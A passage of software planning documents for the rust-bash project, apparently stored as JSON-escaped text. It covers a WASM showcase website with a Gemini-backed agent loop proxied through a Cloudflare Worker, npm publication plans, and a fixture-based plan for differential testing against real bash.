xterm.js)\n\n**Layout**: Terminal-first. The terminal takes up 80-90% of the viewport. Thin header (🦀 rust-bash + GitHub link), thin footer (MIT · Built in Rust · Runs in WASM). No sidebar, no tabs, no feature cards.\n\n**Tests**: Browser tests using Playwright.\n\n**Docs**: Add a \"Try it online\" link to README.md.\n\n### 4.3 — AI Agent (Client-Side Loop + Cloudflare Worker Proxy)\n\nThe agent architecture splits into two parts: a **Cloudflare Worker** that proxies LLM requests (hiding the API key), and a **client-side agent loop** that handles tool call detection and local WASM execution.\n\n#### Cloudflare Worker (LLM Proxy — `functions/api/chat.ts`)\n\nA minimal ~30-line Cloudflare Pages Function that proxies requests to Google Gemini 3.1 Flash Lite Preview. The API key is stored as a Worker secret, never exposed to the client.\n\n```typescript\n// functions/api/chat.ts — Cloudflare Pages Function\nexport async function onRequestPost({ request, env }) {\n  // Rate limit: 10 requests per IP per minute\n  const ip = request.headers.get('CF-Connecting-IP');\n  // ... rate limiting via KV or in-memory counter ...\n\n  const { messages, tools } = await request.json();\n\n  // Primary: Gemini 3.1 Flash Lite Preview\n  const geminiUrl = `https://generativelanguage.googleapis.com/v1beta/openai/chat/completions`;\n  const response = await fetch(geminiUrl, {\n    method: 'POST',\n    headers: {\n      'Content-Type': 'application/json',\n      'Authorization': `Bearer ${env.GEMINI_API_KEY}`,\n    },\n    body: JSON.stringify({\n      model: 'gemini-3.1-flash-lite-preview',\n      messages,\n      tools,\n      stream: true,\n    }),\n  });\n\n  // Stream the response through to the client\n  return new Response(response.body, {\n    headers: {\n      'Content-Type': 'text/event-stream',\n      'Access-Control-Allow-Origin': '*',\n      'Cache-Control': 'no-cache',\n    },\n  });\n}\n```\n\nUses Google's OpenAI-compatible endpoint so the client can use the standard `openai` npm package format for both request and response parsing.\n\n**Multi-provider fallback (future):** The Worker can be extended to cycle between providers when rate limits are hit:\n- **Primary**: Google Gemini 3.1 Flash Lite Preview\n- **Fallback 1**: Cloudflare Workers AI (free 10K neurons/day, e.g. `@cf/meta/llama-3.3-70b-instruct-fp8-fast`)\n- **Fallback 2**: Groq (free tier, ~1000 RPD, fastest inference)\n\nProvider selection via env var (`LLM_PROVIDER=gemini|workersai|groq`) or automatic rotation when the primary returns a 429 rate limit response.\n\n#### Client-Side Agent Loop (`src/agent.ts`)\n\nThe agent loop runs entirely in the browser. It is a pure async generator that yields events (`text` and `tool_call`). The terminal layer (§4.2) consumes these events for rendering — the agent module has no terminal/UI dependencies.\n\nTool calls are executed locally via the already-loaded rust-bash WASM — no server roundtrip needed for bash execution.\n\n```typescript\n// src/agent.ts — pure agent loop, yields events for the terminal to render\nimport OpenAI from 'openai';\nimport type { Bash } from 'rust-bash/browser';\nimport { bashToolDefinition } from 'rust-bash';\n\nexport type AgentEvent =\n  | { type: 'text'; content: string }\n  | { type: 'tool_call'; command: string; result: ExecResult };\n\nconst client = new OpenAI({\n  baseURL: '/api',  // proxied through CF Worker\n  apiKey: 'unused', // Worker handles auth\n  dangerouslyAllowBrowser: true,\n});\n\nconst tools = [{\n  type: 'function' as const,\n  function: {\n    name: bashToolDefinition.name,\n    description: bashToolDefinition.description,\n    parameters: bashToolDefinition.inputSchema,\n  },\n}];\n\nexport async function* runAgentLoop(\n  userMessage: string,\n  bash: Bash,\n): AsyncGenerator<AgentEvent> {\n  const messages = [\n    { role: 'system' as const, content: SYSTEM_INSTRUCTIONS },\n    { role: 'user' as const, content: userMessage },\n  ];\n\n  // Multi-turn loop: LLM may request multiple tool calls in sequence\n  while (true) {\n    const stream = await client.chat.completions.create({\n      model: 'gemini-3.1-flash-lite-preview',\n      messages,\n      tools,\n      stream: true,\n    });\n\n    let fullResponse = '';\n    let toolCalls: any[] = [];\n\n    for await (const chunk of stream) {\n      const delta = chunk.choices[0]?.delta;\n      if (delta?.content) {\n        fullResponse += delta.content;\n        yield { type: 'text', content: delta.content };\n      }\n      if (delta?.tool_calls) {\n        for (const tc of delta.tool_calls) {\n          toolCalls[tc.index] = toolCalls[tc.index] || { id: '', function: { name: '', arguments: '' } };\n          if (tc.id) toolCalls[tc.index].id = tc.id;\n          if (tc.function?.name) toolCalls[tc.index].function.name = tc.function.name;\n          if (tc.function?.arguments) toolCalls[tc.index].function.arguments += tc.function.arguments;\n        }\n      }\n    }\n\n    if (toolCalls.length > 0) {\n      messages.push({ role: 'assistant' as const, content: fullResponse || null, tool_calls: toolCalls });\n\n      // Execute each tool call locally via WASM — instant, no server roundtrip\n      for (const tc of toolCalls) {\n        const args = JSON.parse(tc.function.arguments);\n        const result = bash.exec(args.command);\n        yield { type: 'tool_call', command: args.command, result };\n\n        messages.push({\n          role: 'tool' as const,\n          tool_call_id: tc.id,\n          content: JSON.stringify({\n            stdout: result.stdout.slice(0, 5000),\n            stderr: result.stderr.slice(0, 2000),\n            exitCode: result.exitCode,\n          }),\n        });\n      }\n      // Loop continues — send results back to LLM for next turn\n    } else {\n      // No tool calls — final text response, done\n      break;\n    }\n  }\n}\n```\n\nThe terminal layer in §4.2 calls `runAgentLoop()` and renders each event:\n- `text` events → streamed to terminal inline\n- `tool_call` events → rendered as indented `$ command` + output (see §4.2 rendering rules)\n\n**System instructions**: Tailored to rust-bash — explain what it is, how to use it, guide users through exploring the source code. Include the VFS file listing so the agent knows what's available.\n\n**Cost model**: $0/month. Gemini free tier requires no billing account — literally cannot be charged. The Cloudflare Worker free tier (100K requests/day) will never be the bottleneck.\n\n**Tests**: Test agent loop with mock SSE responses. Test CF Worker proxy locally with `wrangler dev`. End-to-end browser test with Playwright.\n\n**Docs**: Document the architecture, provider configuration, and rate limiting in `examples/website/README.md`.\n\n### 4.4 — Content and Polish\n\n- **Preloaded files**: rust-bash README, LICENSE, key source files, guidebook excerpts, sample scripts\n- **OG image**: Build-time generated (e.g., `satori` + `sharp` in build script, or a static image)\n- **SEO**: Proper meta tags, title, description in `index.html`\n- **Performance**: Lazy-load WASM module. While loading (<2s), queue keystrokes and show `⏳ Loading shell...`. xterm.js + WASM are the two main chunks (~130KB + ~1-1.5MB gzipped).\n- **Analytics**: Cloudflare Web Analytics (free, privacy-respecting, no JS tag needed — enabled in dashboard)\n- **Mobile**: Responsive terminal via `@xterm/addon-fit` that works on mobile viewports\n- **Favicon**: 🦀 emoji or custom icon\n- **Rate limit UX**: When Gemini rate limit is hit, show friendly message: \"⚠️ The demo is currently busy. Try again in a moment, or explore the shell directly — all 80+ commands work without the AI agent.\" If multi-provider fallback is enabled, silently switch to the backup.\n\n**Noscript fallback**: Show a pre-rendered terminal-like display with ASCII art, feature list, and installation instructions (like justbash.dev's approach).\n\n### 4.5 — Documentation Update (Phase 4)\n\n- Update `README.md`: Add \"Try it in the browser\" section with link to showcase website\n- Update `examples/website/README.md`: Architecture diagram, Cloudflare Pages deployment guide, provider configuration, rate limiting\n- Update `docs/guidebook/08-integration-targets.md`: Browser integration section with WASM details\n\n---\n\n## Phase 5: Package Publication and Final Documentation\n\n**Goal**: Publish npm packages and ensure all documentation is complete and accurate.\n\n### 5.1 — npm Package Publication Setup\n\n- **Package naming**: `rust-bash` (single package — includes Bash class, tool definitions, and handler factory)\n- **Prebuilt native binaries**: Use napi-rs's GitHub Actions workflow to build for all platforms\n- **WASM artifact**: Include in npm package under `wasm/` directory\n- **Versioning**: Start at 0.1.0, follow semver\n- **CI/CD**: GitHub Actions for build, test, publish on tag\n- **Size budget**: Track and enforce WASM binary size (< 1.5MB gzipped)\n\n### 5.2 — Comprehensive Documentation\n\nFinal documentation sweep:\n\n**README.md updates**:\n- npm installation section\n- TypeScript quick start (matching just-bash's README style)\n- Custom commands example\n- AI tool integration examples (framework-agnostic recipes for OpenAI, Anthropic, LangChain, Vercel AI SDK)\n- MCP server setup guide\n- Browser usage example\n- Performance comparison\n\n**Guidebook updates**:\n- `docs/guidebook/08-integration-targets.md`: Full rewrite of WASM and AI SDK sections with actual API\n- `docs/guidebook/10-implementation-plan.md`: Mark M5.3 and M5.4 as ✅\n\n**Recipe updates** (final pass — most created in earlier phases):\n- `docs/recipes/ai-agent-tool.md` — Framework-agnostic tool recipes for all major providers\n- `docs/recipes/mcp-server.md` — MCP server setup for Claude Desktop, Cursor, VS Code\n- `docs/recipes/custom-commands.md` — Ensure TypeScript examples are accurate\n- `docs/recipes/getting-started.md` — Add npm/TypeScript getting started path\n- `docs/recipes/execution-limits.md` — Add TypeScript configuration examples\n- `docs/recipes/network-access.md` — Add TypeScript network config examples\n- `docs/recipes/filesystem-backends.md` — Add lazy file loading, TypeScript VFS examples\n- `docs/recipes/migrating-from-just-bash.md` — Final accuracy pass\n\n---\n\n## Build Order and Dependencies\n\n```\nPhase 1 (Foundation):\n  1.1 (feature gates) ──── 1.2 (wasm-bindgen) ──── 1.3 (custom commands)\n                                    │\n                                    └──── 1.4 (build pipeline)\n\nPhase 2 (npm Package):\n  2.1 (scaffolding) ──── 2.2 (Bash class) ──┬── 2.3 (lazy files)\n                                              ├── 2.4 (defineCommand)\n                                              ├── 2.5 (napi-rs)\n                                              └── 2.6 (convenience API)\n                                              └── 2.7 (docs)\n\nPhase 3 (AI Tool Integration):\n  3.1 (tool primitives) ──┬── 3.2 (schema formatters)\n                           └── 3.3 (MCP server) ──── 3.4 (docs)\n\nPhase 4 (Website — Cloudflare Pages + Worker):\n  4.1 (scaffolding) ──── 4.2 (terminal) ──── 4.3 (agent + CF Worker) ──── 4.4 (polish)\n                                                                           └── 4.5 (docs)\n\nPhase 5 (Publication):\n  5.1 (npm publish) ──── 5.2 (final docs)\n```\n\n**Parallelism opportunities**:\n- Phase 2.3, 2.4, 2.5, 2.6 can be developed in parallel after 2.2\n- **Phase 2.5 (napi-rs) has no dependency on Phase 1** — it uses a completely separate binding layer from wasm-bindgen. Can start as early as Phase 1.1 is done (since it shares the same feature-gate refactoring). Consider running it in parallel with Phase 1.2–1.4.\n- **Phase 3.3 (MCP server) has no dependency on Phase 2** — it's pure Rust, added to the CLI binary. Can start as soon as M5.1 (CLI) exists. Consider running it in parallel with Phase 1–2.\n- Phase 3.1 can start as soon as Phase 2.2 is done\n- Phase 4.1 can start as soon as Phase 1.4 is done (WASM builds working)\n- Phase 4.3 agent loop uses `bashToolDefinition` from `rust-bash` (Phase 2.2+) but the CF Worker proxy is independent — can prototype the Worker + client-side agent loop early using hardcoded tool schemas\n\n---\n\n## Risk Register\n\n| Risk | Likelihood | Impact | Mitigation |\n|------|-----------|--------|------------|\n| WASM binary too large (> 2MB gzipped) | Medium | High | Feature-gate heavy deps (`jaq`, `regex`); use `wasm-opt -Oz`; do a smoke build early in §1.1 to get actual size before committing to marketing claims |\n| `brush-parser` WASM compat issues | Low | High | Parser already compiles to wasm32; test early in Phase 1.1 — check transitive dep tree |\n| napi-rs cross-platform build failures | Medium | Medium | Use napi-rs's battle-tested CI templates; pre-build for 6 major platform targets |\n| Custom command callback performance (WASM↔JS) | Medium | Medium | Batch context serialization; cache `CommandContext` proxy objects |\n| `SystemTime`/`Instant` WASM migration scope | High | Medium | 30+ call sites across VFS — `web-time` crate is drop-in but the refactor touches every VFS file; budget for this |\n| Provider API churn | Low | Low | Tool definitions use JSON Schema (stable standard); `openai` npm package is the de facto stable interface; no framework-specific dependencies in core |\n| Vite WASM loading | Low | Low | Vite handles WASM via `?url` or `vite-plugin-wasm`; simpler than Next.js webpack config |\n| Gemini free tier changes/removal | Medium | High | Worker supports multi-provider fallback (Groq, Workers AI); switch is a single env var change |\n| Gemini free tier rate limit under traffic | Medium | Medium | Per-IP rate limiting in Worker (10 req/min); auto-fallback to Workers AI/Groq on 429; friendly \"demo busy\" message |\n| Gemini free tier data usage for training | Low | Low | Acceptable for a public demo; no sensitive data is involved |\n| MCP protocol evolution | Low | Low | MCP spec is versioned; implement core subset (tools/list, tools/call) which is stable |\n| `parking_lot` spin-lock re-entrancy on WASM | Low | High | Single-threaded WASM may hit deadlocks if `RwLock` is held across re-entrant calls (custom command → `exec()` → WASM → JS → WASM). Add depth guard |\n| WASM custom command re-entrancy stack overflow | Medium | High | Custom command calls `exec()` which calls back into WASM → JS → WASM. Works but can hit WASM stack limits. Enforce a depth guard (e.g., max 5 levels) |\n| npm scope `@rust-bash` availability | Low | High | Verify npm org availability before building around this package name |\n| `serde-wasm-bindgen` / `wasm-bindgen` version alignment | Medium | Medium | These must be version-aligned; pin carefully in Cargo.toml |\n\n---\n\n## Success Criteria\n\n1. **`npm install rust-bash`** works and provides a TypeScript API matching just-bash's `Bash` class\n2. **`new Bash({ files, env, cwd }).exec(cmd)`** works in both Node.js and browsers\n3. **`defineCommand()`** allows TypeScript custom commands with full context (fs, env, exec)\n4. **Framework-agnostic tool definitions** work with OpenAI, Anthropic, Vercel AI SDK, LangChain, and any other framework. **MCP server mode** works with Claude Desktop, Cursor, and VS Code.\n5. **Showcase website** at `examples/website/` runs rust-bash WASM in the browser with an AI agent, deployed on Cloudflare Pages ($0/month), using Gemini 3.1 Flash Lite Preview with Workers AI/Groq fallback\n6. **Performance**: Native addon is faster than just-bash; WASM is comparable\n7. **Bundle size**: WASM < 2MB gzipped (target 1.5MB; validate with smoke build in §1.1)\n8. **Zero breaking changes** to existing Rust crate API, CLI, or C FFI\n","/home/user/docs/plans/M6.12.md":"# Milestone 6.12: Differential Testing Against Real Bash — Implementation Plan\n\n## Problem Statement\n\nrust-bash has 4,700+ lines of integration tests, but all expected values are hand-written. There is no automated way to verify that rust-bash's behavior matches real `/bin/bash`. Word expansion edge cases and array behaviors are explicitly called out in the risk register as needing differential testing. M6.12 builds a fixture-based comparison test suite that:\n\n1. Records expected output from real `/bin/bash` once (fixture files).\n2. Runs those same scripts through rust-bash on every `cargo test`.\n3. Compares stdout, stderr, and exit code — surfacing regressions and compatibility gaps.\n4. Provides dedicated spec-test suites for `awk`, `grep`, `sed`, and `jq` mini-languages.\n\n## Prerequisites & Carryover\n\nM6.12 is independent in the dependency graph — it can start before other M6 milestones. However, the comparison test suite becomes more valuable as more M6 features land. Recommended approach:\n\n- **Start with Phase 1 (infrastructure) immediately** — the runner is useful from day one.\n- **Phase 2 fixtures should test currently-implemented features first.** As M6.1 (arrays), M6.3 (shopt), M6.11 (parameter transforms), etc. land, add comparison tests for those features. Use `skip` for tests that exercise unimplemented features.\n- **Phase 3 spec tests** can proceed immediately since awk/grep/sed/jq are already implemented.\n\nThe existing `tests/integration.rs` (4,700+ lines, ~460 tests) covers many of the same shell features but with hand-written expected values. The comparison suite is **complementary, not a replacement**: integration tests validate the Rust API ergonomics and are fast to write; comparison fixtures validate bash compatibility via recorded ground truth. Avoid duplicating trivial tests like `echo hello` — focus comparison tests on edge cases and behaviors known to diverge from real bash.\n\nAs commands are added in M7, the comparison suite should expand to cover command output format matching (e.g., `ls`, `stat`, `date` output formats). This is future scope, not part of M6.12's initial delivery.\n\n## Design Decisions\n\n### 1. Fixture format: TOML test manifests\n\nEach test domain gets a directory of `.toml` fixture files. TOML is chosen over raw text or JSON because it handles multi-line strings cleanly, is already parseable in Rust, and is self-documenting.\n\n```toml\n# tests/fixtures/comparison/expansion/parameter_default.toml\n\n[[cases]]\nname = \"default_value_unset\"\nscript = 'echo ${UNSET:-fallback}'\nstdout = \"fallback\\n\"\nstderr = \"\"\nexit_code = 0\n\n[[cases]]\nname = \"default_value_set\"\nscript = '''\nX=hello\necho ${X:-fallback}\n'''\nstdout = \"hello\\n\"\nstderr = \"\"\nexit_code = 0\n```\n\nThe `stdout`, `stderr`, and `exit_code` fields are the **recorded fixtures** — output from real bash. When `RECORD_FIXTURES=1` is set, the runner overwrites these fields by executing each script against `/bin/bash`.\n\n### 2. Two-mode runner architecture\n\n- **Normal mode** (`cargo test`): Read fixtures, run scripts through `RustBash::exec()`, compare against recorded values. No real bash needed — works in CI, WASM, or any environment.\n- **Record mode** (`RECORD_FIXTURES=1 cargo test`): Run each script against real `/bin/bash` via `std::process::Command`, capture stdout/stderr/exit_code, and write updated fixture files back to disk. This is the only code path that uses `std::process::Command` — it lives in test code only, not library code.\n\n### 3. Spec tests vs comparison tests — separate suites\n\n- **Comparison tests** (`tests/fixtures/comparison/`): Shell language features tested against real bash. These validate rust-bash's interpreter.\n- **Spec tests** (`tests/fixtures/spec/`): Domain-specific tests for `awk`, `grep`, `sed`, `jq`. These test the command implementations in isolation with known inputs/outputs, not necessarily recorded from real bash (since our implementations are intentionally subset).\n\n### 4. Per-file test discovery via `datatest-stable`\n\nUse `datatest-stable` to discover `.toml` fixture files and generate one `#[test]` per file. This ensures:\n- Each fixture file appears as a named test in `cargo test` output.\n- Failures in one file don't prevent other files from running.\n- Individual files can be run with `cargo test comparison::quoting` etc.\n- Cargo's built-in parallelism runs fixture files concurrently.\n\nWithin each file, cases run sequentially — a failure in one case reports all failures in that file before moving on (using soft assertions / collecting errors). Adding a new test case is just adding a TOML entry — no Rust code changes needed.\n\n### 5. Environment isolation\n\nAll comparison tests run in a clean `RustBash` sandbox with:\n- No inherited environment variables (deterministic)\n- Controlled timezone (`TZ=UTC`)\n- Known `$HOME`, `$USER`, `$PATH` values (set identically in both modes)\n- Files seeded only from the fixture's optional `files` field\n- Execution limits set explicitly (max 10,000 iterations, 5s wall-clock) to prevent hangs from infinite-loop bugs\n\nThe recording mode similarly runs bash with `env -i` plus only the controlled variables, to avoid host-specific leakage. `PATH` is set to `/usr/local/bin:/usr/bin:/bin` on both sides to avoid asymmetry.\n\n### 6. Stderr comparison strategy\n\nStderr messages from rust-bash may differ in exact wording from real bash (e.g., `bash: foo: command not found` vs `foo: command not found`). The comparison supports three modes per test case:\n\n- `stderr = \"exact string\"` — exact match (default)\n- `stderr_contains = \"substring\"` — partial match\n- `stderr_ignore = true` — skip stderr comparison entirely (useful when we only care about exit code)\n\n## Dependencies\n\n### New dev-dependencies\n\n| Crate | Version | Purpose |\n|-------|---------|---------|\n| `toml` | latest stable | Parse fixture TOML files |\n| `toml_edit` | latest stable | Round-trip TOML editing in recording mode (preserves formatting and comments) |\n| `serde` | `1` (with `derive` feature) | Deserialization for fixture structs (currently feature-gated behind `ffi`, not available in test builds) |\n| `datatest-stable` | latest stable | Per-file test discovery — generates one `#[test]` per fixture file |\n\nNo runtime dependencies are added — this is purely test infrastructure.\n\n## File Organization\n\n```\ntests/\n├── comparison.rs                     # Comparison test runner (rust-bash vs recorded bash output)\n├── spec_tests.rs                     # Spec test runner (awk, grep, sed, jq)\n├── fixtures/\n│   ├── comparison/\n│   │   ├── quoting/\n│   │   │   └── basic_quoting.toml\n│   │   ├── expansion/\n│   │   │   ├── parameter_default.toml\n│   │   │   ├── parameter_substitution.toml\n│   │   │   ├── command_substitution.toml\n│   │   │   ├── arithmetic.toml\n│   │   │   ├── brace.toml\n│   │   │   └── tilde.toml\n│   │   ├── word_splitting/\n│   │   │   └── ifs.toml\n│   │   ├── globbing/\n│   │   │   └── basic_glob.toml\n│   │   ├── redirections/\n│   │   │   └── basic_redirect.toml\n│   │   ├── pipes/\n│   │   │   └── basic_pipe.toml\n│   │   ├── control_flow/\n│   │   │   ├── if_then.toml\n│   │   │   ├── for_loop.toml\n│   │   │   ├── while_loop.toml\n│   │   │   └── case.toml\n│   │   ├── functions/\n│   │   │   └── basic_functions.toml\n│   │   └── here_documents/\n│   │       └── heredoc.toml\n│   └── spec/\n│       ├── awk/\n│       │   ├── arithmetic.toml\n│       │   ├── patterns.toml\n│       │   ├── builtins.toml\n│       │   └── fields.toml\n│       ├── grep/\n│       │   ├── basic.toml\n│       │   ├── regex.toml\n│       │   └── flags.toml\n│       ├── sed/\n│       │   ├── substitution.toml\n│       │   ├── addresses.toml\n│       │   └── commands.toml\n│       └── jq/\n│           ├── basic.toml\n│           ├── filters.toml\n│           └── types.toml\nCargo.toml                            # Updated: add toml, glob to [dev-dependencies]\n```\n\n---\n\n## Phase 1 — Test Infrastructure & Runner\n\nBuild the fixture format, TOML parsing, and both test runners (comparison + spec).\n\n### 1a. Define the fixture data model\n\nCreate shared types for deserializing TOML fixtures:\n\n```rust\n// In tests/comparison.rs (or a shared test utility module)\n\n#[derive(serde::Deserialize)]\nstruct FixtureFile {\n    cases: Vec<TestCase>,\n}\n\n#[derive(serde::Deserialize)]\nstruct TestCase {\n    name: String,\n    script: String,\n    stdout: String,\n    #[serde(default)]\n    stderr: String,\n    #[serde(default)]\n    exit_code: i32,\n    // Flexible stderr comparison\n    #[serde(default)]\n    stderr_contains: Option<String>,\n    #[serde(default)]\n    stderr_ignore: bool,\n    // Optional stdin content piped to the script\n    #[serde(default)]\n    stdin: Option<String>,\n    // If true, expect exec() to return Err (parse errors, etc.)\n    // The test passes if exec() errors and exit_code matches\n    #[serde(default)]\n    expect_error: bool,\n    // Optional VFS files to seed before running\n    #[serde(default)]\n    files: std::collections::HashMap<String, String>,\n    // Optional environment variables\n    #[serde(default)]\n    env: std::collections::HashMap<String, String>,\n    // Optional: skip this test (with reason)\n    #[serde(default)]\n    skip: Option<String>,\n}\n```\n\n### 1b. Build the comparison test runner\n\nUse `datatest-stable` to register a test function that receives a file path. The crate discovers all `.toml` files and creates one `#[test]` per file:\n\n```rust\nfn run_comparison_file(path: &Path) -> datatest_stable::Result<()> {\n    let content = std::fs::read_to_string(path)?;\n    let fixture: FixtureFile = toml::from_str(&content)?;\n    let mut failures = Vec::new();\n\n    for case in &fixture.cases {\n        if let Some(reason) = &case.skip {\n            eprintln!(\"SKIP {}: {}\", case.name, reason);\n            continue;\n        }\n\n        let mut env_map = HashMap::new();\n        env_map.insert(\"HOME\".into(), \"/root\".into());\n        env_map.insert(\"USER\".into(), \"testuser\".into());\n        env_map.insert(\"TZ\".into(), \"UTC\".into());\n        env_map.insert(\"PATH\".into(), \"/usr/local/bin:/usr/bin:/bin\".into());\n        env_map.extend(case.env.clone());\n\n        let mut builder = RustBashBuilder::new().env(env_map);\n        // Seed VFS files from the fixture\n        if !case.files.is_empty() {\n            let file_map: HashMap<String, Vec<u8>> = case.files.iter()\n                .map(|(k, v)| (k.clone(), v.as_bytes().to_vec()))\n                .collect();\n            builder = builder.files(file_map);\n        }\n\n        let mut sh = builder.build().unwrap();\n\n        // Handle both Ok and Err results from exec()\n        match sh.exec(&case.script) {\n            Ok(r) => {\n                if r.stdout != case.stdout {\n                    failures.push(format!(\"[{}] STDOUT: expected {:?}, got {:?}\",\n                        case.name, case.stdout, r.stdout));\n                }\n                if r.exit_code != case.exit_code {\n                    failures.push(format!(\"[{}] EXIT CODE: expected {}, got {}\",\n                        case.name, case.exit_code, r.exit_code));\n                }\n                // Stderr comparison (flexible)\n                if !case.stderr_ignore {\n                    if let Some(substring) = &case.stderr_contains {\n                        if !r.stderr.contains(substring) {\n                            failures.push(format!(\"[{}] STDERR doesn't contain {:?}, got {:?}\",\n                                case.name, substring, r.stderr));\n                        }\n                    } else if r.stderr != case.stderr {\n                        failures.push(format!(\"[{}] STDERR: expected {:?}, got {:?}\",\n                            case.name, case.stderr, r.stderr));\n                    }\n                }\n            }\n            Err(e) => {\n                if case.expect_error {\n                    // Parse error or other exec failure — check exit code convention\n                    // (exit code 2 for syntax errors, matching bash)\n                } else {\n                    failures.push(format!(\"[{}] exec() returned Err: {}\", case.name, e));\n                }\n            }\n        }\n    }\n\n    if !failures.is_empty() {\n        return Err(format!(\"{} failure(s) in {}:\\n{}\",\n            failures.len(), path.display(), failures.join(\"\\n\")).into());\n    }\n    Ok(())\n}\n\ndatatest_stable::harness!(\n    run_comparison_file,\n    \"tests/fixtures/comparison\",\n    r\".*\\.toml$\",\n);\n```\n\n### 1c. Build the recording mode\n\nWhen `RECORD_FIXTURES=1` is set, run each script against real `/bin/bash` and update the TOML files using `toml_edit` for round-trip preservation:\n\n```rust\nfn record_from_real_bash(\n    script: &str,\n    env: &HashMap<String, String>,\n    files: &HashMap<String, String>,\n) -> (String, String, i32) {\n    use std::process::Command;\n\n    // Stage VFS files into a real temp directory for bash to access\n    let tmp = tempfile::tempdir().expect(\"Failed to create temp dir\");\n    for (path, content) in files {\n        // Strip leading / to make relative to temp dir\n        let rel_path = path.strip_prefix('/').unwrap_or(path);\n        let full_path = tmp.path().join(rel_path);\n        if let Some(parent) = full_path.parent() {\n            std::fs::create_dir_all(parent).unwrap();\n        }\n        std::fs::write(&full_path, content).unwrap();\n    }\n\n    let mut cmd = Command::new(\"/bin/bash\");\n    cmd.arg(\"-c\").arg(script);\n    cmd.current_dir(tmp.path());\n    cmd.env_clear();\n    cmd.env(\"HOME\", \"/root\");\n    cmd.env(\"USER\", \"testuser\");\n    cmd.env(\"TZ\", \"UTC\");\n    cmd.env(\"PATH\", \"/usr/local/bin:/usr/bin:/bin\");\n    for (k, v) in env {\n        cmd.env(k, v);\n    }\n    let output = cmd.output().expect(\"Failed to execute /bin/bash\");\n    (\n        String::from_utf8_lossy(&output.stdout).to_string(),\n        String::from_utf8_lossy(&output.stderr).to_string(),\n        output.status.code().unwrap_or(-1),\n    )\n}\n```\n\nThe recorder reads each TOML file with `toml_edit`, runs every case against bash, updates the `stdout`/`stderr`/`exit_code` values in-place, and writes the file back. Using `toml_edit` preserves comments, key ordering, and string formatting — avoiding noisy diffs on re-record.\n\n**Important limitation**: Tests with `files` entries use absolute VFS paths (e.g., `/tmp/test/a.txt`). In recording mode, these are staged relative to a temp directory. Scripts that reference absolute paths will see different paths than in the VFS. For these cases, prefer relative paths in scripts, or mark the test with `skip = \"requires VFS-absolute paths\"` and write expected output manually.\n\n### 1d. Build the spec test runner\n\nThe spec test runner is structurally identical to the comparison runner but reads from `tests/fixtures/spec/` and does not support recording mode (spec tests define their expected output manually since our awk/sed/jq are intentionally subset implementations).\n\n**Exit criteria for Phase 1:**\n- `cargo test comparison` runs with zero fixture files and passes (no tests = no failures).\n- `RECORD_FIXTURES=1 cargo test comparison` records output from a single placeholder fixture.\n- The runner produces clear error messages on fixture parsing failures.\n\n---\n\n## Phase 2 — Shell Language Comparison Fixtures\n\nWrite the initial corpus of comparison test cases covering the shell language features that matter most for correctness.\n\n### 2a. Quoting tests\n\nTest single quotes, double quotes, backslash escaping, `$'...'` ANSI-C quoting, mixed quoting, quote removal.\n\n```toml\n# tests/fixtures/comparison/quoting/basic_quoting.toml\n[[cases]]\nname = \"single_quotes_literal\"\nscript = \"echo 'hello $USER'\"\nstdout = \"hello $USER\\n\"\nexit_code = 0\n\n[[cases]]\nname = \"double_quotes_expand\"\nscript = 'USER=alice; echo \"hello $USER\"'\nstdout = \"hello alice\\n\"\nexit_code = 0\n\n[[cases]]\nname = \"ansi_c_quoting\"\nscript = \"echo $'hello\\\\tworld'\"\nstdout = \"hello\\tworld\\n\"\nexit_code = 0\n```\n\n### 2b. Parameter expansion tests\n\nDefault values, alternative values, substring extraction, pattern removal, string length, case modification, indirect expansion.\n\n### 2c. Command substitution tests\n\n`$(...)`, backtick form, nested substitutions, substitution in assignments.\n\n### 2d. Arithmetic expansion tests\n\nBasic operators, increment/decrement, ternary, bitwise, variable references, nested arithmetic.\n\n### 2e. Brace expansion tests\n\nSequence `{1..10}`, string list `{a,b,c}`, nested braces, combined with other expansions.\n\n### 2f. Tilde expansion tests\n\n`~`, `~user` (in sandbox context), tilde in assignments.\n\n### 2g. Word splitting tests\n\nIFS variations, default IFS, custom IFS, empty IFS, quoting preventing splits.\n\n### 2h. Globbing tests\n\n`*`, `?`, `[...]`, no-match behavior, dotfiles, quoting preventing globbing.\n\nFiles needed for glob tests are specified in the fixture's `files` field.\n\n### 2i. Redirection tests\n\n`>`, `>>`, `2>`, `&>`, `<`, here-documents (`<<EOF`), here-strings (`<<<`), file descriptor duplication.\n\n### 2j. Pipeline tests\n\nSimple pipes, multi-stage pipes, pipefail, pipe with redirections.\n\n### 2k. Control flow tests\n\n`if`/`elif`/`else`, `for` loops (word list and C-style), `while`/`until`, `case` patterns, `break`/`continue`, nested control flow.\n\n### 2l. Function tests\n\nFunction definition (both syntaxes), local variables, return values, recursive functions, function in pipelines.\n\n### 2m. Here-document tests\n\nQuoted delimiter (no expansion), unquoted delimiter (with expansion), `<<-` tab stripping, here-strings.\n\n**Exit criteria for Phase 2:**\n- At least 50 comparison test cases across the highest-value categories (expansion, word splitting, quoting). Expand over time.\n- All fixtures are recorded from real bash (`RECORD_FIXTURES=1`).\n- `cargo test comparison` passes for all cases (or known failures are marked with `skip`).\n\n---\n\n## Phase 3 — Spec Tests for Command Mini-Languages\n\nWrite structured spec tests for `awk`, `grep`, `sed`, and `jq`. These test our implementations' correctness against expected behavior, independent of real bash.\n\n### 3a. `grep` spec tests\n\n- Basic literal match, regex patterns, `-i` (case insensitive), `-v` (invert), `-c` (count), `-l` (files with matches), `-n` (line numbers), `-E` (extended regex), `-F` (fixed strings), `-w` (word match), `-o` (only matching), `-r` (recursive), `-q` (quiet), multiple patterns (`-e`), exit codes (0=match, 1=no match, 2=error).\n\n### 3b. `sed` spec tests\n\n- `s/pattern/replacement/` with flags (`g`, `i`, `p`), address ranges (line numbers, patterns), delete (`d`), print (`p`), append (`a`), insert (`i`), change (`c`), transliterate (`y`), hold/pattern space (`h`, `g`, `x`), multiple expressions (`-e`), in-place (`-i`), regex groups.\n\n### 3c. `awk` spec tests\n\n- Field splitting and `$0`/`$1`..`$NF`, patterns (`BEGIN`/`END`/regex/expression), built-in variables (`NR`, `NF`, `FS`, `OFS`, `RS`, `ORS`), string functions (`length`, `substr`, `index`, `split`, `sub`, `gsub`, `match`, `sprintf`, `tolower`, `toupper`), arithmetic, associative arrays, printf, control flow (`if`/`for`/`while`), `-F` field separator, `-v` variable assignment, multiple rules.\n\n### 3d. `jq` spec tests\n\n- Basic filters (`.`, `.field`, `.[]`), pipe operator, string interpolation, types and values, comparison operators, `if`-`then`-`else`, `try`-`catch`, `map`, `select`, `empty`, `reduce`, `group_by`, `sort_by`, `unique_by`, `keys`, `values`, `has`, `in`, 